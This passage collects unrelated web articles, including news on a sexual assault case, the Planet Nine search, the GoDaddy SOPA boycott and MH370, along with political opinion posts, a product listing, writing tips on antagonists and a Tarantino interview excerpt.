apartment complex where he lived. The woman stated it happened after he gave her a lot of liquor to drink. "She drank in excess to the point of passing out and having no memory of that night and showed her multiple videos of the suspect and another individual engaging in sexual intercourse with the complainant," said the prosecutor in court. It went unreported for two years until the woman started dating a man who had been a Marine MP. Prosecutors say he made it his mission to take the case to police, pretending to befriend Millner and making up a story. "Talked to the old boyfriend about the complainant, pretending he was upset with her," said prosecutor Adam Muldrow. "And so the defendent did what at that point?" we asked. "The defendant confirmed the allegations," said Muldrow. "And he showed him the video?" we asked. "Yes," he said. Two weeks after the woman finally went to police, Millner is now in jail. The video he allegedly kept for two years will be evidence. Millner, 24, was charged Thursday with sexual assault. Bond has been set at $50,000. -If Planet Nine really exists, astronomers have a pretty decent chance of spotting it. On Wednesday (Jan. 20), scientists announced that a planet about 10 times more massive than Earth likely lurks in the distant outer solar system, orbiting perhaps 600 times farther from the sun than Earth does on average. The evidence for the existence of this "Planet Nine" is indirect at the moment; computer models suggest a big, undiscovered world has shaped the strange orbits of multiple objects in the Kuiper Belt, the ring of icy bodies beyond Neptune. But direct evidence could come relatively soon, in the form of a telescope observation, Planet Nine's proposers say. [Evidence Mounts for Existence of 'Planet X' (Video)] "It's actually not obscenely faint," said Mike Brown of the California Institute of Technology (Caltech) in Pasadena. Brown and lead author Konstantin Batygin, also of Caltech, wrote the new paper laying out the evidence for the putative planet's existence. "In fact, it's bright enough over a lot of its orbit that we should have seen it already, if it's in the closest approaches to the sun," Brown told Space.com. Indeed, at closest approach, "you could almost see it with some backyard telescopes," he added. (Planet Nine's orbit likely brings it as close as 200 to 300 astronomical units, or AU, to the sun, and takes it as far away as 600 to 1,200 AU, Brown said. One AU is the average distance from Earth to the sun—about 93 million miles, or 150 million kilometers.) Planet Nine is therefore probably not too close to the sun at the moment, said Brown, who has discovered or co-discovered a number of distant solar system objects, including the dwarf planets Eris and Sedna. But powerful ground-based telescopes can probably still detect the object, wherever it may be, he added. [The Case for "Planet Nine" in Pictures] "Even at its most distant, and at the smallest guesses of how big it is, it's like 24th or 25th magnitude," Brown said, referring to the brightness scale astronomers use, in which higher numbers denote fainter objects. "It's not crazy; this is the kind of stuff people are finding all the time. We just need to go out and cover a good swathe of the sky." Just how big a swathe? Astronomer Scott Sheppard, of the Carnegie Institution for Science in Washington, D.C., has come up with a rough estimate: between 2,000 and 4,000 square degrees. (For perspective, the full moon as seen from Earth covers about 0.5 degrees of sky.) That corresponds to about 50 nights of observations using a powerful instrument such as the Subaru Telescope in Hawaii, said Sheppard, who has a lot of experience finding far-flung objects in the solar system. For example, in 2014, he and Chadwick Trujillo of the Gemini Observatory in Hawaii discovered an object called 2012 VP113, whose orbital characteristics hint at the presence of a Planet Nine. The 27-foot-wide (8.2 meters) Subaru Telescope is the go-to observatory for the search, because Planet Nine is predicted to be visible in the Northern Hemisphere sky, both Brown and Sheppard said. (Many other big, powerful scopes are in Chile, south of the equator.) [World's Largest Reflecting Telescopes Explained (Infographic)] Sheppard stressed that it's tough to know just how detectable Planet Nine would be, considering the uncertainties surrounding the putative world's size, orbit and composition—all characteristics that affect brightness. But, Sheppard told Space.com, "if it's not on the extreme ends of the orbit or the size, then Subaru should be able to find it." The hunt is on Sheppard and his colleagues have already covered some parts of Planet Nine's possible orbit using Subaru, as part of a larger, years-long survey for more objects such as 2012 VP113. (The broader survey also employs a telescope in Chile, which spotted 2012 VP113.) The researchers will likely use Subaru to narrow in on more promising possible locations, now that Batygin and Brown have given them a better idea of where to look, Sheppard said. But the hunt for smaller bodies such as 2012 VP113 will continue as well. "We're trying to find many more of these smaller objects, which could lead us to the bigger object," he said. The hunt for Planet Nine will also probably send astronomers back to their archives; it's possible that the undiscovered world has already been photographed by powerful telescopes, but researchers didn't spot it, Brown said. (Confirming the planet's existence will require more than one image, because astronomers will need to see the object move to know it's not a background star or other extremely distant object.) Sheppard said that he had pegged the odds of a big planet lying undiscovered beyond Neptune at 50-50, but the new study by Batygin and Brown boosts his confidence in the existence of Planet Nine to about 75 percent. Brown seems even more confident. "I find this really compelling," Brown said. "I think it's there. But, like everybody else, I want to see it." Copyright 2016 SPACE.com, a Purch company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. -Workers would win the “right to own” their employers under a Labour government. In a speech to Co-operative UK in Manchester today, John McDonnell promised legislation to give employees first rights on buying out a company that is being dissolved, sold or floated on the stock exchange. The Shadow Chancellor argued that the Labour Party needs to draw upon its radical, co-operative tradition to find a way out of the current economic crisis. “With consortium co-operatives providing an effective means for new businesses to share and reduce costs, we’d look to support these at a local level, working with local authorities, businesses and trade unions,” he said. He promised that the Labour Party would consider providing matching government funding for new co-operatives and look into the recommendations in Graeme Nuttall’s report on employee ownership, including creating a statutory right to request employee ownership and have proposals considered by employers. “We should look to extend this approach, offering employees first rights on buying out a company that is being dissolved, sold, or floated on the stock exchange. The Tories have offered a “Right to Buy.” Labour would seek to better this. We’d be creating a new “Right to Own,” he said. McDonnell said the Labour Party must not only look for state-led solutions to the current crisis in capitalism, but also look back to its traditions of decentralisation and grassroots co-operation. “This radical tradition has deep roots in our collective history. From RH Tawney, GDH Cole and the guild socialists, back to the Rochdale Pioneers, the Society of Weavers in Fenwick, Ayrshire, and even further back to the radicals of the English Civil War.” McDonnell also argued that while technology can be disruptive – deskilling and creating greater inequality – it can also open up new possibilities of new forms of sharing and co-operation. -On Tuesday’s All In, host Chris Hayes and his guests tackled a chilling and politically loaded subject: which beliefs should disqualify someone from holding public office. Among other things, the group decided that global warming “denialism,” opposition to same-sex marriage, and opposition to a “robust” Voting Rights Act should put a politician outside the mainstream and ruin their chances of holding public office. Hayes seemed excited that politicians might be branded with a figurative scarlet letter for holding beliefs that run counter to his own far-left vision. In fact, he claimed the act of disqualification based on certain beliefs is a “tool of progress,” not something that “constrains consensus.” The host gloated: It’s a tool of progress when we say that certain things, like opposing marriage equality, are sort of, like, not the kinds of things that mainstream American politicians – One of Hayes’ guests cut him off, but he didn’t need to finish that sentence. The point is clear – Hayes has stumbled upon a new way to squelch debate in this country and pave the way for liberal domination of American political thought. The host was particularly gleeful over the growing acceptance of the theory that human beings are driving climate change. After playing clips of Sen. Marco Rubio expressing skepticism of global warming and then trying to clarify when pressed on the issue, Hayes smirked: [T]he fascinating aspect of this to me is that it looked to me for the first time in a long time that denialism was looking like a thing that was a disqualifier or at least something to be defensive about in a way I haven't seen in a while. One of Hayes’ guests, former New York Times columnist Bob Herbert, agreed: And I think nowadays it is. I mean, this is an issue that’s – I mean, we’re all threatened by this. I mean, the planet is in danger. Something needs to be done. And I think if you’re just going to deny that this is even occurring, it means that you’re going to be blocking the policies that we need, and it should be a disqualifier. Hayes even went so far as to call global warming skeptics "really cuckoo." Regarding gay marriage, the host was also ready to declare the debate closed. He exulted that he has "never seen an issue go so quickly from a contentious, contested issue that’s at the center of our political debates to one in which opposition to it is quickly becoming taboo.” But in many parts of the country, gay marriage still is a “contentious, contested issue.” Hayes only wishes it were a settled topic. By the way, the host placed global warming skepticism and opposition to gay marriage in the same basket as 9/11 Trutherism. During his introduction to this discussion, Hayes mentioned that Van Jones, now a co-host of CNN’s Crossfire, was pressured into resigning from his job in the Obama White House because, among other things, his name appeared on a petition that suggested the George W. Bush administration may have knowingly allowed the 9/11 terrorist attacks to happen. The host failed to mention, of course, that MSNBC colleague Toure has a history of Truther-style statements. That conspiracy theory is well outside of the mainstream, but it was what prompted Hayes to launch his discussion of other, more conservative beliefs that he wishes society would just laugh away. Below is a transcript of the segment: CHRIS HAYES: Van Jones says he never actually signed the 9/11 truther petition that prompted that spout of outrage, and he maintained from the start it did not reflect his actual views. But just that tiny little brush with trutherism was enough to get the guy drummed out of the White House. And all this got me thinking about what exactly should constitute a disqualifier when it comes to those who want to hold public office or even work in the government. Joining me now, Bob Herbert, distinguished senior fellow with Demos; Christina Bellantoni, editor-in-chief of Roll Call; and Richard Kim, executive editor of TheNation.com. I am really interested in the boundaries of taboo and consensus and what are the kinds of things that are the kinds of things that politicians can argue about, and the kinds of things that kind of place them off the table. And I thought it was interesting to see the Ernst campaign felt that that claim about WMD was an off-the-table kind of claim they had to then deny, which I found to be progress of a sort. Are there certain things you think, Bob, that should be in the kind of off-the-table category that aren't currently in the off-the-table category? BOB HERBERT: Sure. I would start with if you don't have support for a robust Voting Rights Act for example. So if you're running for national office and you don't feel that qualified Americans ought to be guaranteed the right to vote, that should disqualify you. HAYES: Just like Voting Rights Act as a matter of – Voting Rights Act or opposition to Voting Rights Act is off the table. But here’s the thing that's tricky about that, right, is that no one comes out. You're right. That is actually rhetorically where we are in American politics insofar as no one will come out and be like, I don't like the Voting Rights Act, unless, you know, Supreme Court justices. But, right, I think – don't you agree that if someone – no one would actually come out and say that. [crosstalk] HERBERT: – should have to come out and say it. I'm saying you need to be forthright in your support of a robust Voting Rights Act because you need to be forthright in your support of Americans' right to vote. HAYES: And Rand Paul has come pretty close. RICHARD KIM: With the Civil Rights Act, which is not the Voting Rights Act, but that package of civil rights legislation. HAYES: And that infamous moment on Rachel’s show with the long, torturous, just train wreck of an interview in which he basically said, I'm not that into the public accommodation part of the Civil Rights Act, that was him flirting with precisely the line of the disqualifying. *** JONATHAN KARL: Let me get this straight. You do not think that human activity, the production of CO2, has caused warming to our planet? SEN. MARCO RUBIO: I don't believe that human activity is causing these dramatic changes to our climate the way these scientists are portraying it. UNIDENTIFIED: What information, reports, studies or otherwise are you relying on to inform and reach your conclusion that human activity is not to blame for climate change? RUBIO: Well, again, I mean – headlines notwithstanding, I’ve never disputed that the climate is changing, and I pointed out that climate, to some extent, is always changing. It’s never static. HAYES: Nice try, Marco Rubio. I’m back with Bob Herbert, Christina Bellantoni, and Richard Kim. And the reason I want to play that, so Rubio – again, he stepped in it on that Jon Karl interview. I think he didn’t think it was going to become a headline. I mean, you can see his passive/aggressive note about headlines notwithstanding. And then today he tried to walk it back in a totally incoherent way. But the fascinating aspect of this to me is that it looked to me for the first time in a long time that denialism was looking like a thing that was a disqualifier or at least something to be defensive about in a way I haven't seen in a while. HERBERT: And I think nowadays it is. I mean, this is an issue that’s – I mean, we’re all threatened by this. I mean, the planet is in danger. Something needs to be done. And I think if you’re just going to deny that this is even occurring, it means that you’re going to be blocking the policies that we need, and it should be a disqualifier. HAYES: And the key here to me is, the conspiratorial thinking it requires to think that thousands of scientists across the globe are engaged in this massive hoax, which is basically what James Inhofe, who’s a sitting U.S. senator, believes, right? The conspiratorial thinking that it takes to believe that is really cuckoo. I mean, that is really out there. KIM: Okay, I can't believe I'm going to take the other side on this. So obviously, I don't believe, you know, these views, and I think they’re sort of lunatic and really dangerous. On the other hand, large percentages of the American population believe that. And don't they have representation in that political process? And I also worry that if you have this circle of disqualified opinions, and you keep growing that circle, what that rewards is an incentive structure that depends on sort of an absolute certainty of emotion. Like a really kind of intense belief. And to keep feeding that, if the facts on the ground don't match, you invent a set of facts. And I think, actually, that is what has happened to the Republican Party. They’ve sort of produced this outrage machine. HAYES: So you're just saying, like, against litmus tests as a broad – KIM: I say let the democratic process play out, and people should vote these things down. CHRISTINA BELLANTONI: On climate, as a specific thing. The candidate that appeals to the business community tends to be the candidate that’ll either win the nomination or win the general election. And so this is an area where you – HAYES: In the Republican party, in particular. BELLANTONI: In general, though, you have to be palpable to them to sit in the White House. And so with the business community shifting on this issue or on minimum wage issues or on some other labor issues, that's where you start to see the shifts. That guides the politician. HAYES: But what you’re identifying, though, is precisely the nefarious ideological undercurrent of discussions about what's disqualifying. Because, I mean, that goes hand-in-glove with what Richard is saying. You’re saying the people that actually draw the lines around what’s disqualifying is the U.S. Chamber of Commerce. And like, frankly, that’s what’s going to decide if you're, like, a whacko. BELLANTONI: And just watch with immigration reform. I mean, the conversation has completely changed since 2005-2006 when George Bush, people were angry at him in a certain segment of the population because he supported immigration reform. And now it is sort of a moderate Republican view. HAYES: Or on marriage equality. I mean, that is a place where you really do see – I have never seen an issue go so quickly from a contentious, contested issue that’s at the center of our political debates to one in which opposition to it is quickly becoming taboo. HERBERT: Well, the truth is that you can only do this as a hypothetical exercise, and that’s a good example of why. I mean, there was a time when no one could get elected if they were in favor of gay marriage. Now in many elections it’s a disqualifier if you’re opposed to gay marriage. HAYES: But that makes me hopeful about the power of this kind of – the force of this, as opposed to this being something that constrains consensus, it actually is this tool, right? It’s a tool of progress when we say that certain things, like opposing marriage equality, are sort of, like, not the kinds of things that mainstream American politicians – KIM: But it's also a double-edged sword. So things like supporting a 90 percent tax rate, which was once policy in the United States – HAYES: Right, that's a very good point. KIM: – would be a completely disqualifying characteristic for many, many people in this country. HAYES: If you came forward and said I am for a 90 percent top marginal tax rate, which of course was what it was after World War II and the Eisenhower administration before the first round of tax cuts, you would be – that would be the equivalent. KIM: Exactly. -German company Speedlink releases their OMNIVI Core. Sporting an ergonomic, polarizing design, this right-handed gaming mouse is equipped with 10 programmable buttons, an ultra-precise 12000dpi optical sensor, an adjustable USB polling rate up to 1000Hz and a USB connector (w/ 1.8m flexible USB charging cable with hard-wearing sheath). Not to mention, the OMNIVI Core also comes with adjustable LED lighting that glows in any one of 7 atmospheric colors, an on-board memory for storing DPI settings and lighting settings, and an aluminum base plate. The Speedlink OMNIVI Core will retail for $70 in the US. Professional gaming mouse Ultra-precise 12,000dpi optical sensor 10 freely configurable buttons Adjustable LED lighting glows in any one of 7 atmospheric colours Solid finger rest and aluminium base plate Profile management with any number of game profiles Powerful Macro Editor DPI switch for rapid toggling between resolutions 6 sensor precision levels from 800 to 12,000dpi Illuminated 2D scroll wheel indicated current dpi level Illuminated 2D scroll wheel indicated current dpi level Adjustable USB polling rate up to 1,000Hz Incredible ergonomic comfort with grippy scroll wheel and finger rest Rubberised finish Maximum acceleration: 50g Maximum tracking speed: 250ips Sensor frame rate: 12,000fps Flexible USB cable with hard-wearing sheath (1.8m) Dimensions: 87 × 131 × 52mm (W × D × H) Weight: 145g The OMNIVI Gaming Mouse combines feature-packed functionality, ease of use and incredible precision in one perfect package. It is setting new standards in the gaming scene with its exhaustive feature set, including colourful glow, solid aluminium base plate, four thumb buttons and the ultra-precise, optical 12,000dpi sensor. Use the ten programmable buttons to keep your opponents at bay by utilising the extensive programming function to customise the mouse so your personal gaming style matches the game. And witness how your macros are unleashed at the press of a single button to perform close-combat or distance attacks, switch weapons or cast spells. -Chinese Ships Retrieve Beacon in MH370 Search 2014-04-02 06:06:35 Xinhua Web Editor: Luo Dan Related: Chinese Escort Fleet Reaches Target Area Two Chinese ships in search of missing Malaysia Airlines Flight MH370 in the southern Indian Ocean retrieved a beacon late Tuesday, said an embedded Xinhua reporter. The crews aboard Jinggangshan and Donghaijiu 101 told Xinhua that the beacon might be cast by aircraft involved in the hunt for the ill-fated Boeing 777 jetliner but confirmation was needed. The two ships are among the seven Chinese vessels currently scouring waters some 2,000 kilometers west of the western Australian port city of Perth. Two Chinese IL-76 planes are also assisting the undertaking. Meanwhile, a three-ship Chinese naval flotilla previously deployed in the Gulf of Aden for escort missions teamed up with Chinese patrol vessel Haixun 31 on Tuesday to search for the missing plane south of Australia's Christmas Island. Despite massive multinational efforts, no hard evidence has so far been acquired about the whereabouts of MH370, which disappeared early March 8 while carrying 239 people -- including 154 Chinese passengers -- from Kuala Lumpur to Beijing. Share CRIENGLISH.com claims the copyright of all material and information produced originally by our staff. No person, organization and/or company shall reproduce, disseminate or broadcast the content in any manner whatsoever without the express written permission of CRIENGLISH.com. CRIENGLISH.com holds neither liability nor responsibility for materials attributed to any other source. Such information is provided as reportage and dissemination of information but does not necessarily reflect the opinion of or endorsement by CRI. -Batman writer Scott Snyder has wrapped up his "Night of the Owls" arc, and as soon as he's done with bringing back The Joker this Fall, he now looks set to reintroduce The Riddler to the DC Universe in "The New 52" continuity. I will use Riddler in 2013 RT @ AlabamaMike2814 : @ Ssnyder1835 are you agreeing Riddler is awesome or that you're writing a Riddler story? Yes. RT @ BradWiegele : @ Ssnyder1835 Will you please give us a badass Riddler story? He's so cool in Arkham city but nowhere in the DCU. : ComicBookMovie.com is protected from liability under the DMCA (Digital Millenium Copyright Act) and "Safe Harbor" provisions. This post was submitted by a volunteer contributor who has agreed to our Code of Conduct . CBM will disable users who knowingly commit plagiarism, piracy, trademark or copyright infringement. Please contact us for expeditious removal of copyrighted/trademarked content. Learn more about our copyright and trademark policies HERE -Internet users have called for a boycott of web hosting giant Go Daddy over its public support of the Stop Online Piracy Act in the US. While the company has publicly supported SOPA and similarly controversial proposed legislation for months, its position went largely unnoticed until a thread on Reddit gained legs yesterday. User "selfprodigy" said he planned to move 51 domain names he has registered with Go Daddy to another registrar, adding: "I'm suggesting Dec 29th as move your domain away from GoDaddy day because of their support of SOPA. Who's with me?" The posting attracted almost 4,000 comments, largely supportive of the boycott. Ben Huh, CEO of the Cheezburger Network - the owner of sites such as FailBlog - said in a tweet that he would move his 1,000 domains away from Go Daddy unless it dropped its support for SOPA. The campaign now also has a website at GoDaddyBoycott.org (registered via Canadian registrar Tucows using a privacy service to protect the owner's identity). Go Daddy's position, however, has been firm. Not only has it supported SOPA from the outset, but it has also dismissed criticisms of the bill, which many say amounts to censorship. "The notion that the solutions that have been put forth will break the internet, or that certain legal businesses will go off-line because of new mandates, is utterly unconvincing," Go Daddy general counsel Christine Jones wrote in November. "SOPA goes a long way toward fixing the existing problems." A month later, responding to similar criticisms on her personal blog, Jones wrote: "Most of what we are seeing is either 1) rhetoric, 2) regurgitated lobbying spin, 3) criticism of language we have already fixed, or 4) retweets by people who like to steal music and buy fake, but cheap, goods." However, most companies in the domain name industry that have expressed an opinion oppose SOPA, saying it will break end-to-end authentication using DNSSEC, the emerging domain security protocol. They also say that by forcing American ISPs to block piracy sites at the domain level, SOPA will compel American internet users to use workaround DNS services operated by criminals overseas, increasing the likelihood of phishing and fraud. Go Daddy's Jones has refuted this, writing last month: "It’s hard to imagine that the limited times per year that the Attorney General seeks this remedy for a site dedicated to infringement will result in a mass exodus away from DNS as we know it. I have to believe that the average person doesn’t want to commit a crime." Go Daddy has faced calls the boycotts before, notably this March when then-CEO came under fire for posting a video online showing him shooting an elephant while on vacation in Zimbabwe. In that case, the calls for a boycott resulted in thousands of domain names being transferred to rival registrars, but the net effect of the publicity was positive for Go Daddy's sales. Nevertheless, opportunistic competitors quickly seized upon the latest scandal yesterday, taking to Twitter to promote special discounts for consumers wishing to transfer their domains away. Today, a Go Daddy spokesperson said in a statement: "Go Daddy has received some emails that appear to stem from the boycott prompt, but we have not seen any impact to our business. We understand there are many differing opinions on the SOPA regulations." Go Daddy says it registers, renews or transfers a domain name every second. It is responsible for well over a third of all .com domains registered today, not including its resellers' sales. ® -General arrangement of MWT apparatus Magnetic water treatment (also known as anti-scale magnetic treatment or AMT) is a method of supposedly reducing the effects of hard water by passing it through a magnetic field as a non-chemical alternative to water softening. Magnetic water treatment is regarded as unproven and unscientific. There is a lack of peer-reviewed laboratory data, mechanistic explanations, and documented field studies to support its effectiveness. Erroneous conclusions about their efficacy are based on applications with uncontrolled variables. There are, however, some studies which have claimed significant effects and proposed possible mechanisms for the observed decrease in water scale.[1] Effectiveness [ edit ] Vendors of magnetic water treatment devices frequently use pictures and testimonials to support their claims, but omit quantitative detail and well-controlled studies.[2] Advertisements and promotions generally omit system variables, such as corrosion or system mass balance analyticals, as well as measurements of post-treatment water such as concentration of hardness ions or the distribution, structure, and morphology of suspended particles.[2][3][4][5][6] Hypothesized mechanisms [ edit ] Duration of exposure and field strength, gradient, rate of change, and orientation along or perpendicular to flow are variously cited as important to the results.[7] Magnetic water treatment proponent Klaus Kronenberg proposed that the shapes of solute lime molecules are modified by strong magnetic fields, leading them to precipitate as spherical or round crystals rather than deposit as sheets or platelets of hard crystals.[8] Simon Parsons of the School of Water Sciences at Cranfield University proposed that the magnetic field reduces the surface charge on small particles, increasing the tendency to coagulate as large particles that stay with the flow rather than depositing as scale. However, an internal study in 1996 at Lawrence Livermore National Laboratory found no difference in preferred crystal structure of scale deposited in magnetic water treatment systems.[9] Liu et al.[10] and Coey and Cass published research in 2010 and 2000 reporting that magnetic treatment causes water containing minerals to favor formation of a more soluble form of calcium carbonate (aragonite rather than calcite).[11] Pipe material [ edit ] The effect of magnetic treatment depends on properties of the pipe. The magnititude of the effect depends on pipe conductivity and surface roughness.[12] Related devices [ edit ] There are related non-chemical devices based on a variety of physical phenomena which have been marketed for over 50 years with similar claims of scale inhibition.[13] Whilst some are effective, such as electrolytic devices,[14][15][16][17] most do not work.[2] Electrolysis: Electrolytic scale inhibitors - two metals such as copper and zinc are used [18] - two metals such as copper and zinc are used Electrostatic: [2] Electronic water conditioners Electromagnetic: [2] fluctuating electromagnetic fields are created fluctuating electromagnetic fields are created Catalytic [2] Mechanical [2] Other devices combine these different methods Other uses of magnetic devices: See also [ edit ] -The Gang of Six isn’t satisfied by screwing over Social Security and Medicare, and imposing sneaky tax hikes on workers with the Chained CPI. They want to give billions of dollars in tax savings to the richest corporations in the US, and encourage them to move jobs overseas. That is the logical result of changing to a system of taxing income only if it is “earned” in the US. This is called a “territorial taxation” system. Currently we have a hybrid system. We tax income from whatever source, but we give a credit for foreign taxes on the income, and we don’t tax any of the money until it is repatriated. The territorial tax will delight these monster corporations that have accumulated billions of untaxed profits overseas. They can invest the money off shore to create any new business they might want to enter, in any country they might like, and with little effort completely avoid US taxation. This removes any reason for any corporation to manufacture in the US for export. As soon as possible, the company simply moves production off shore, and uses tricks to make the profits in some low tax country. Jobs leave, exports drop, and so do tax revenues. The rich benefit from higher stock prices as the profits of their pet corporations rise,. When they sell off the stock, they only pay at the low capital gains tax rates. The US Chamber of Commerce and many of the anti-American corporations it represents are begging congress to enact a one-time repatriation with at 5% tax rate. Their web site is the patriotic WinAmerica, with a lovely picture of working Americans, you know, the people expected to make shared sacrifices. That is a tough sell in light of the howling about the debt ceiling. Even our corrupt elected representatives are having trouble saying that this is a jobs measure, when we know from recent experience that it is just a devious way to give more money to the rich, and increase their leverage over US workers at the same time. The best part is that in the uproar of trying to increase taxes on workers and screwing Social Security recipients, this little provision won’t attract any attention. The New York Times and the Washington Post don’t mention it in today’s stories. Of course, the business press spotted it immediately. Here’s Bloomberg: The proposal also calls for the Finance Committee to switch to a territorial tax system, under which U.S. multinational companies wouldn’t face taxes on income they earn outside the country. The U.S. Chamber of Commerce and other business groups have been urging Congress to make such a change. Senator Ron Wyden, an Oregon Democrat who has proposed his own bipartisan tax-code overhaul, said yesterday that driving rates down that far would require making big changes to breaks that many taxpayers enjoy. Those include the mortgage interest deduction and the deduction for charitable contributions. “You would have to cut back very dramatically on some of the middle-class tax incentives,” he said. And, of course, Wyden is right. The bandits in the Gang of Six include this instruction to the Senate Finance Committee: “Reform, not eliminate, tax expenditures for health, charitable giving, homeownership, and retirement….” Reuters has a good summary of liberal dismay over this provision. The Hill notes The Business Roundtable’s enthusiastic support, and quotes Rich Trumpka of the AFL-CIO making the point that this system encourages export of jobs, not goods and services. “We need to keep asking our leaders: ‘Who got us into this mess?’ It wasn’t working people. The people who got us into this mess are getting off scot-free, and this Gang of Six proposal shows they have accomplices in both parties.” The Pretend Democrats couldn’t care less who caused this mess. Working people have to pay, in higher taxes and fewer and worse jobs. Better they should suffer and die than that Dick Durbin should have to tax his precious contributors. -Other than your protagonist, your antagonist is going to be the most important active force in your story. by K.M. Weiland The antagonist doesn’t have to be a person. It could be weather, circumstances, or the protagonist’s inner self. But, more often than not, the antagonist takes the form of a person. And crafting that person into a memorable and compelling character in his own right is vital to the success of your story. Your antagonist needs to summon up reader emotions that are just as strong as those felt for the protagonist. Hateable bad guys will deepen reader sympathy for your protagonist. But, beyond even that, bad guys with whom the reader can identify to at least some degree are bad guys who will make him squirm even more. Let’s a take a look at several categories into which your antagonist may fall, so you can choose the best one for your story. Your antagonist needs to summon up reader emotions. The Immoral Antagonist This is easily the most popular form of antagonist. The bad guy is one readers will have no trouble hating. He is usually set in clear contrast against the good-guy hero. The lines are drawn in varying shades of black and white, and readers have no problem choosing whom to root for. Hypocrite: The hypocrite is an antagonist who feigns goodness. He may be guilty of all sorts of treachery and evil, but on the surface he’s all honey and sunshine. He puts a righteous face on his misdeeds (perhaps even accusing the protagonist of hypocrisy to disguise his own), but the reader knows the truth: this guy is not just bad, he’s a fake. And we hate him all the more for it. A mainstay of horror stories, this guy is just evil all the way through. He has no excuses, no thread ofgoodness leading him back to redemption. He’s just bad. And crazy on top of it. Serial killers, genocidal world leaders, and sadists fit the bill to a T. Not only do readers hate psycho bad guys—they’re scared to death of them. Regular Person Forced to Do Bad Things for an Illegitimate Reason: Most antagonists—in life as well as fiction—aren’t mustache-twirling, maniacally laughing whackos. Most of them are just regular Joes who have let their weaknesses get the better of them. Lust, greed, and hatred can drive even ordinary people to do extraordinary evil. The bad guy is one readers will have no trouble hating. The Moral Antagonist In the moral antagonist we find a more complicated—and often more compelling—character, since he presents more parallels than contrasts with the protagonist. This is a person who is doing the right thing—as he sees it—and usually for the right reasons, but who has nonetheless been forced to do battle with your hero, thanks to the requirements of your story’s overall conflict. Good Guy on the Opposing Side: Not all stories are going to offer an epic battle between good and evil. Sometimes the conflict will allow good people with opposing views to appear on both sides of the battle lines. Lawyers fighting each other for causes in which they each believe passionately, football teams competing for a championship, two love interests trying to win the same girl—none of them have to be inherently bad. Stories of this nature can provide all kinds of interesting possibilities for exploring the gray areas of life, relationships, and morality. The crusader can be an insanely scary bad guy in his own right. This is someone who fiercely believes he is doing the right thing, and indeed he may well be fighting for a good cause. He may be someone who believes he has to choose between the lesser of two evils in his decisions. Or he may be someone driven to fanaticism—and thus dangerous decisions—by his passion for his cause. In fact, he may be just plain out right, while the protagonist is the one who’s wrong. Regular Person Forced to Do Bad Things for a Legitimate Reason: Sometimes even essentially good people end up doing bad things because they feel they have no choice. A character who robs a bank to pay for his wife’s operation or to save himself from the Mafia’s threats may be a hero in his own right—or he may be a compelling and relatable antagonist to the detective protagonist who has to go after him. The possibilities for your antagonist are every bit as vast as they are for your protagonist. The more time you spend creating a character who can properly oppose your hero, the stronger and more compelling your story will be. Antagonists should be just as well-rounded and believable as your heroes. Don’t settle for anything less than brilliant! He may be just plain out right, while the protagonist is the one who’s wrong. -K.M. Weiland [box] K.M. Weiland is the author of the historical western A Man Called Outlaw and the medieval epic Behold the Dawn. She enjoys mentoring other authors through her writing tips, her book Outlining Your Novel: Map Your Way to Success, and her instructional CD Conquering Writer’s Block and Summoning Inspiration.[/box] Photo Credits: Stock XChng, K.M. weiland -Italian side Napoli have confirmed their interest in signing Gonzalo Higuain from Real Madrid. Arsenal have been linked with the Argentine striker for most of the summer, with reports last week, now obviously premature, that a deal was imminent. However, with the Gunners sights now apparently trained on Liverpool’s bitey racist, Luis Suarez, the Serie A outfit are looking to spend some of the near €70m they received from PSG for star striker Edinson Cavani. In a Twitter Q&A, Napoli’s President, Aurelio De Laurentiis, was asked if it were true that there were talks regarding Higuain. His reply, “It’s true.” Quite where this leaves Arsenal pursuit of the player remains to be seen. There’s something of a tradition of Argentine strikers in Naples, and from looking the most likely of summer signings, Arsene Wenger could miss out on a player still favoured by many fans. The only signing of the summer thus far has been Yaya Sanogo on a free from Auxerre, so hopefully Napoli’s interest will force our hand a bit and we can get this deal done. -Plus: The greatest director of his generation on who he considers his one true peer, which Oscar he thinks should be named after him—and whether he really will quit after his tenth movie Quentin Tarantino lives up in the Hollywood Hills, in the same house he’s had since 1996, with a movie theater built into one wing of the house and a terrace with a swimming pool and an orange tree and a Planet of the Apes statue out back. That’s where he’s sitting one night in October, glass of red wine in hand, watching the sun go down. He’s still got to finish the sound mix and work on the colors, but his newest film, The Hateful Eight, is otherwise pretty much done. He shot it on 65-millimeter film, like Paul Thomas Anderson did with The Master, and then he had his studio buy up pretty much every existing 70-millimeter projector in the country so he could personally equip 100 theaters with them and show the movie the way he thinks it should be shown. He describes The Hateful Eight as “a claustrophobic snow Western”—a chamber piece, like Reservoir Dogs or The Iceman Cometh, but set in the wintry post–Civil War 1800s. It’s about a bounty hunter (Kurt Russell) escorting a prisoner (Jennifer Jason Leigh) to justice, only to be diverted into Tarantino-land—a.k.a. a tavern of sorts called Minnie’s Haberdashery, which doesn’t sell hats—where six other men are waiting out a snowstorm, and nobody’s who they say they are. It also stars Sam Jackson and Michael Madsen and Bruce Dern; everyone wears giant furs. “I think it could be my best movie,” Tarantino says. “If not, at least in my top four.” Which is a hilarious qualifier, since he’s only made eight. People count Tarantino movies because he’s maintained for a while now that he’s only making ten. Maybe not even ten. “If film projection goes the way of the dodo bird, well, then, maybe I might not even get to ten,” he says. He sounds weirdly at peace saying that—anticipating the end of the work he’s given his life to. He seems, frankly, weirdly at peace in general, holed up with his costume-designer girlfriend, every memorabilia-crammed room here like some exhibit in a future Tarantino museum, with a Charro! poster on the bathroom wall and a couple of muscle cars out front and a glittery view of the Valley’s fading light. He’s still the antic, emphatic, maniacally gesticulating guy of ’90s popular imagination, but he also turned 52 recently. “I tend to always think of myself as perpetually 35 or so,” Tarantino says. “So, you know, it’s a bit of a drag, in certain regards. And in other regards, I’ve really enjoyed it. I mean…a lot of shit that used to really be on my mind is kind of gone now.” He sits up in his chair, tries to explain. “I’m over a whole lot of stuff,” he says. He places his finger at the precise center of the table we’re sitting at. “If the universe was this table, I’m right here where I wanted to be at this point in time, at this point in my life, at this point in my filmography. I’m right where I wanted to be.” How did you spend your time off between Django and The Hateful Eight? Quentin Tarantino: Usually, when I’m done, I want to spend two months on my couch. I want to just pretty much nail the door shut, fuck the phone, and just go to sleep whenever. I have a completely erratic sleeping schedule. I fall asleep whenever I want. I get up whenever I want. Just two months of just watching movies and doing cinema writing and just vegging out that way. And I start emerging and just start, you know, getting back into the swing of things of life. The people in your life must want to murder you during that sleep-whenever-you-want phase. One of the privileges you have of living the life of an artist and creating your own world and everything is the fact that, in-between times, you can kind of spend them however you 